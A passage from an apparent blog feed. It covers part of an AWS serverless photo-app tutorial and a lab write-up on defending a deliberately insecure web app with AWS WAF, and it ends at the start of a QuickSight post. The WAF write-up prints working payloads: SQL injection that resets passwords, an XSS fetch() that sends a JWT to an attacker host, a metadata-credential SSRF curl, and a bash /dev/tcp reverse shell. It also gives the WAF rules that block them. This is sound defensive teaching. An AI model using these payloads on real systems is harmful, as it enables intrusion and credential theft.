&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const AWS = require('aws-sdk');
const s3 = new AWS.S3();
const dynamo = new AWS.DynamoDB.DocumentClient();

exports.handler = async (event) =&amp;gt; {
  const body = JSON.parse(event.body);
  const photoId = generateUniqueId();
  const userId = event.requestContext.authorizer.claims.sub;

  // Upload to S3
  await s3.putObject({
    Bucket: 'original-photos-bucket',
    Key: `${userId}/${photoId}`,
    Body: Buffer.from(body.image, 'base64'),
    ContentType: 'image/jpeg'
  }).promise();

  // Save metadata to DynamoDB
  await dynamo.put({
    TableName: 'PhotoMetadata',
    Item: {
      photoId: photoId,
      userId: userId,
      timestamp: new Date().toISOString(),
    }
  }).promise();

  return {
    statusCode: 200,
    body: JSON.stringify({ photoId: photoId })
  };
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;b) thumbnailGenerator:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const AWS = require('aws-sdk');
const sharp = require('sharp');
const s3 = new AWS.S3();

exports.handler = async (event) =&amp;gt; {
  const bucket = event.Records[0].s3.bucket.name;
  const key = decodeURIComponent(event.Records[0].s3.object.key.replace(/\+/g, " "));

  const image = await s3.getObject({ Bucket: bucket, Key: key }).promise();

  const resizedImage = await sharp(image.Body)
    .resize(200, 200, { fit: 'inside' })
    .toBuffer();

  await s3.putObject({
    Bucket: 'processed-photos-bucket',
    Key: `thumbnails/${key}`,
    Body: resizedImage,
    ContentType: 'image/jpeg'
  }).promise();
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;c) shareHandler:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const AWS = require('aws-sdk');&lt;br&gt;
const dynamo = new AWS.DynamoDB.DocumentClient();&lt;br&gt;
const cloudFront = new AWS.CloudFront.Signer(process.env.CF_KEY_PAIR_ID, process.env.CF_PRIVATE_KEY);

&lt;p&gt;exports.handler = async (event) =&amp;gt; {&lt;br&gt;
  const photoId = event.pathParameters.photoId;&lt;br&gt;
  const userId = event.requestContext.authorizer.claims.sub;&lt;/p&gt;

&lt;p&gt;// Verify ownership&lt;br&gt;
  const result = await dynamo.get({&lt;br&gt;
    TableName: 'PhotoMetadata',&lt;br&gt;
    Key: { photoId: photoId }&lt;br&gt;
  }).promise();&lt;/p&gt;

&lt;p&gt;if (result.Item.userId !== userId) {&lt;br&gt;
    return { statusCode: 403, body: 'Access denied' };&lt;br&gt;
  }&lt;/p&gt;

&lt;p&gt;// Generate signed URL&lt;br&gt;
  const url = cloudFront.getSignedUrl({&lt;br&gt;
    url: &lt;code&gt;https://your-cf-distribution.cloudfront.net/${photoId}&lt;/code&gt;,&lt;br&gt;
    expires: Math.floor((Date.now() + 86400000) / 1000) // 24 hours from now&lt;br&gt;
  });&lt;/p&gt;

&lt;p&gt;return {&lt;br&gt;
    statusCode: 200,&lt;br&gt;
    body: JSON.stringify({ url: url })&lt;br&gt;
  };&lt;br&gt;
};&lt;br&gt;
&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Step 5: Configure API Gateway&lt;br&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Create a new REST API&lt;/li&gt;
&lt;li&gt;Set up resources and methods:
— POST /photos (for uploads)
— GET /photos (for listing user’s photos)
— POST /photos/{photoId}/share (for sharing)&lt;/li&gt;
&lt;li&gt;Integrate each endpoint with the corresponding Lambda function&lt;/li&gt;
&lt;li&gt;Enable CORS and deploy the API&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 6: Set Up CloudFront
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Create a new Web distribution&lt;/li&gt;
&lt;li&gt;Set Origin to your processed-photos S3 bucket&lt;/li&gt;
&lt;li&gt;Configure Viewer Protocol Policy to redirect HTTP to HTTPS&lt;/li&gt;
&lt;li&gt;Restrict Bucket Access and create a new Origin Access Identity&lt;/li&gt;
&lt;li&gt;Update the S3 bucket policy to allow access from the CloudFront OAI&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 7: Integrate Amazon Rekognition (Optional)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Update the &lt;code&gt;uploadHandler&lt;/code&gt; Lambda function to call Rekognition for image analysis&lt;/li&gt;
&lt;li&gt;Store the resulting tags in the DynamoDB metadata&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 8: Frontend Development
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Create a web application using React or Vue.js&lt;/li&gt;
&lt;li&gt;Implement user authentication flow using Amazon Cognito SDK&lt;/li&gt;
&lt;li&gt;Develop UI for photo upload, gallery view, and sharing functionality&lt;/li&gt;
&lt;li&gt;Integrate with your API Gateway endpoints for backend operations&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Security Considerations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Implement least privilege access for all IAM roles&lt;/li&gt;
&lt;li&gt;Use Cognito User Pools for secure user authentication&lt;/li&gt;
&lt;li&gt;Encrypt data at rest in S3 and DynamoDB&lt;/li&gt;
&lt;li&gt;Use HTTPS for all communications&lt;/li&gt;
&lt;li&gt;Implement proper error handling and input validation in Lambda functions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Monitoring and Optimization
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Set up CloudWatch dashboards for key metrics&lt;/li&gt;
&lt;li&gt;Configure alarms for critical thresholds (e.g., API errors, Lambda duration)&lt;/li&gt;
&lt;li&gt;Use X-Ray for distributed tracing&lt;/li&gt;
&lt;li&gt;Regularly review and optimize:
— Lambda memory/timeout settings
— DynamoDB capacity
— S3 storage classes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;This serverless photo-sharing application demonstrates the power of cloud-native architecture on AWS. It offers scalability, cost-effectiveness, and eliminates traditional server management overhead. The combination of managed services provides high availability, automatic scaling, and robust security, making it an ideal solution for modern web applications.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>serverless</category>
      <category>cloudcomputing</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Leveraging AWS WAF to Defend an Insecure Web App</title>
      <dc:creator>Keyur Modi</dc:creator>
      <pubDate>Wed, 02 Apr 2025 05:17:04 +0000</pubDate>
      <link>https://dev.to/aws-builders/leveraging-aws-waf-to-defend-an-insecure-web-app-2p7o</link>
      <guid>https://dev.to/aws-builders/leveraging-aws-waf-to-defend-an-insecure-web-app-2p7o</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;This blog is based on the hands-on lab &lt;a href="https://platform.qa.com/lab/leveraging-aws-waf-defend-insecure-web-app/" rel="noopener noreferrer"&gt;Leveraging AWS WAF to Defend an Insecure Web App&lt;/a&gt; from QA's cloud security training platform. Special thanks to QA for providing such an insightful and practical experience.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  🚀 Introduction
&lt;/h2&gt;

&lt;p&gt;Modern web applications are highly dynamic and fast-moving, often deployed in cloud environments like AWS. With such speed, security can sometimes take a backseat during early product development. This can leave the application vulnerable to well-known attack vectors like SQL Injection, XSS, SSRF, and Remote Code Execution (RCE).&lt;/p&gt;

&lt;p&gt;In this blog, I will walk you through a detailed, hands-on project where I acted as a &lt;strong&gt;Cloud Security Engineer&lt;/strong&gt; to secure a deliberately insecure web application. The application was deployed using Terraform and hosted on AWS. My primary defense mechanism was &lt;strong&gt;AWS WAF (Web Application Firewall)&lt;/strong&gt;, which I used to detect and mitigate OWASP Top 10 vulnerabilities. This project not only demonstrated real-world exploits but also highlighted how WAF can be used as a first line of defense.&lt;/p&gt;




&lt;h2&gt;
  
  
  🌐 Architecture Overview
&lt;/h2&gt;

&lt;p&gt;Before we dive into the attacks and defenses, let’s understand the application's infrastructure:&lt;/p&gt;

&lt;h3&gt;
  
  
  Before WAF
&lt;/h3&gt;

&lt;p&gt;The app had no protections and was fully exposed to the internet. Here's a look at the architecture:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2 EC2 Instances&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ide.cloudacademy.platform.instance&lt;/code&gt;: Used for deploying the infrastructure and coding.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;hacker.cloudacademy.platform.instance&lt;/code&gt;: Used to simulate real-world attacks.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Application Load Balancer (ALB)&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Listens on port 80&lt;/li&gt;
&lt;li&gt;Forwards traffic to frontend (port 80) and backend API (port 8080)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Target Groups&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;One for React frontend (served with Nginx)&lt;/li&gt;
&lt;li&gt;One for Spring Boot backend (Java 17)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;strong&gt;PostgreSQL Database&lt;/strong&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fylm5oh1705dds48vwv75.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fylm5oh1705dds48vwv75.png" alt="Before Architecture" width="457" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  After WAF
&lt;/h3&gt;

&lt;p&gt;Once AWS WAF rules were in place, malicious requests were filtered at the ALB level, preventing them from ever reaching the EC2 instances.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8bwfgmga50yoeuco3b1r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8bwfgmga50yoeuco3b1r.png" alt="After Architecture" width="464" height="500"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🔧 Deploying the App
&lt;/h2&gt;

&lt;p&gt;The infrastructure was provisioned using Terraform. Here's the process:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Cloned the repositories:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/cloudacademy/insecure-webapp-infra.git
git clone https://github.com/cloudacademy/insecure-webapp.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Deployed the infra using:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;insecure-webapp-infra &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
terraform init
terraform apply
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl7gi2fkqkps18xztpxhw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl7gi2fkqkps18xztpxhw.png" alt="Infrastructure Deployment" width="800" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmznxb3pgxitvdtcmvngk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmznxb3pgxitvdtcmvngk.png" alt="Web App Deployment" width="800" height="850"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Terraform took care of provisioning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EC2 Instances&lt;/li&gt;
&lt;li&gt;ALB and Target Groups&lt;/li&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;Security Groups and IAM Roles&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After deployment, I was able to access the application through the ALB DNS.&lt;/p&gt;




&lt;h2&gt;
  
  
  🚨 Identifying Vulnerabilities (Offensive Security)
&lt;/h2&gt;

&lt;p&gt;Now the fun part: exploiting the app.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. &lt;strong&gt;SQL Injection&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The login page accepted SQL queries. I injected this payload into the username field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="s1"&gt;'; update users set password=md5('&lt;/span&gt;&lt;span class="n"&gt;qwerty123&lt;/span&gt;&lt;span class="s1"&gt;') --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqhfasl0m840n3wy1nxe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqhfasl0m840n3wy1nxe.png" alt="SQL Injection" width="800" height="279"&gt;&lt;/a&gt;&lt;br&gt;
This reset Alice's password, proving the SQL injection worked.&lt;/p&gt;
&lt;h3&gt;
  
  
  2. &lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Using this payload in the comments section:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;'.'&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;fetch('http://attacker-ip:22100/'+localStorage["ca.webapp.auth.session"])&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I was able to exfiltrate a logged-in user's JWT token to my attacker terminal.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The web app had a "Coder" feature that executed Python scripts. I ran this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;curl&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;169.254&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;169.254&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;latest&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;meta&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;iam&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjpkgkxwaj4qb22zgudam.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjpkgkxwaj4qb22zgudam.png" alt="Python Script" width="800" height="252"&gt;&lt;/a&gt;&lt;br&gt;
I accessed the EC2 instance’s metadata and leaked temporary IAM credentials.&lt;/p&gt;
&lt;h3&gt;
  
  
  4. &lt;strong&gt;Remote Code Execution (RCE)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;In the AsciiArt generator, I entered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pwned&lt;span class="p"&gt;;&lt;/span&gt; bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/attacker-ip/443 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This opened a reverse shell to my attacker EC2, giving me &lt;strong&gt;root access&lt;/strong&gt;.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyxcvvoqy2rwchgrm42zp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyxcvvoqy2rwchgrm42zp.png" alt="RCE" width="800" height="485"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🛡️ Defending with AWS WAF
&lt;/h2&gt;

&lt;p&gt;After confirming each vulnerability, I turned to AWS WAF to build defenses.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Create Web ACL
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Region: &lt;code&gt;us-west-2&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Associated with ALB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqomh82h357a76goiew0m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqomh82h357a76goiew0m.png" alt="WAF" width="800" height="551"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Add Rules
&lt;/h3&gt;

&lt;p&gt;Each rule was built using the Rule Builder:&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ SQL Injection
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Inspect: JSON body&lt;/li&gt;
&lt;li&gt;Field: &lt;code&gt;/username&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Match type: &lt;code&gt;Contains SQL injection attacks&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Sensitivity: High&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkknbiibncpa9qlzgamiu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkknbiibncpa9qlzgamiu.png" alt="WAF SQL Injection Rule" width="800" height="1210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ XSS
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Inspect: JSON body&lt;/li&gt;
&lt;li&gt;Field: &lt;code&gt;/body&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Match type: &lt;code&gt;Contains XSS attacks&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv91vllfgr3oyy4npw5zt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv91vllfgr3oyy4npw5zt.png" alt="WAF XSS rule" width="800" height="1147"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ SSRF
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Inspect: &lt;code&gt;/code&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Match regex: &lt;code&gt;169\.254\.169\.254&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ✅ Command Injection
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Inspect: &lt;code&gt;/text&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Regex: &lt;code&gt;[^a-zA-Z\d\s:]&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Matches characters like &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, used in shell injections&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkrxwc06th35ldkd08ev.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkrxwc06th35ldkd08ev.png" alt="WAF text rule" width="800" height="1223"&gt;&lt;/a&gt;&lt;br&gt;
All rules were set to &lt;strong&gt;Block&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔍 Re-testing the Exploits (Defensive Validation)
&lt;/h2&gt;

&lt;p&gt;I reran each attack with Developer Tools open.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SQLi&lt;/strong&gt;: Blocked with 403&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XSS&lt;/strong&gt;: Blocked and stripped&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSRF&lt;/strong&gt;: No metadata leaked&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RCE&lt;/strong&gt;: No reverse shell; connection refused&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each attack attempt was blocked &lt;strong&gt;before&lt;/strong&gt; reaching the EC2 instance. WAF did its job.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg0yo0kgrjim3zdfy778i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg0yo0kgrjim3zdfy778i.png" alt="403 Block Screenshot" width="800" height="485"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  💡 Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Security must be built-in&lt;/strong&gt;, even for MVPs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AWS WAF&lt;/strong&gt; is powerful for layer 7 protections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Terraform&lt;/strong&gt; helps scale consistent deployments.&lt;/li&gt;
&lt;li&gt;Detection and blocking should happen &lt;strong&gt;as early as possible&lt;/strong&gt; in the request lifecycle.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📄 Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://platform.qa.com/lab/leveraging-aws-waf-defend-insecure-web-app/" rel="noopener noreferrer"&gt;Lab: QA - Leveraging AWS WAF to Defend an Insecure Web App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/waf/latest/developerguide/" rel="noopener noreferrer"&gt;AWS WAF Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cloudacademy/insecure-webapp" rel="noopener noreferrer"&gt;CloudAcademy GitHub Repo - App&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cloudacademy/insecure-webapp-infra" rel="noopener noreferrer"&gt;CloudAcademy GitHub Repo - Infra&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Thanks for reading! If you found this helpful, follow me for more cloud security projects and hands-on labs.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cloud</category>
      <category>security</category>
      <category>terraform</category>
    </item>
    <item>
      <title>Netflix Data Visualization using Amazon QuickSight</title>
      <dc:creator>Keyur Modi</dc:creator>
      <pubDate>Sun, 30 Mar 2025 18:24:58 +0000</pubDate>
      <link>https://dev.to/aws-builders/netflix-data-visualization-using-amazon-quicksight-527b</link>
      <guid>https://dev.to/aws-builders/netflix-data-visualization-using-amazon-quicksight-527b</guid>
      <description>&lt;p&gt;As data becomes increasingly central to business decisions, the ability to create compelling visualizations is more valuable than ever. In this guide, I’ll walk you through my recent experience with Amazon QuickSight, AWS’s cloud-based business intelligence service, using Netflix content data as an example.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozlj9qeroz80oix9sape.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozlj9qeroz80oix9sape.png" alt="QuickSight dashboard with multiple visualizations" width="800" height="602"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Amazon QuickSight?
&lt;/h2&gt;

&lt;p&gt;Amazon QuickSight is a powerful cloud-based business intelligence service that enables users to create and share interactive dashboards and reports. What makes it particularly attractive is its seamless integration with AWS services and its scalability. Whether you’re analyzing a small dataset or working with enterprise-level data, QuickSight can handle it while maintaining the ease of use that’s crucial for both beginners and experienced analysts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Project Setup: Getting Started with QuickSight
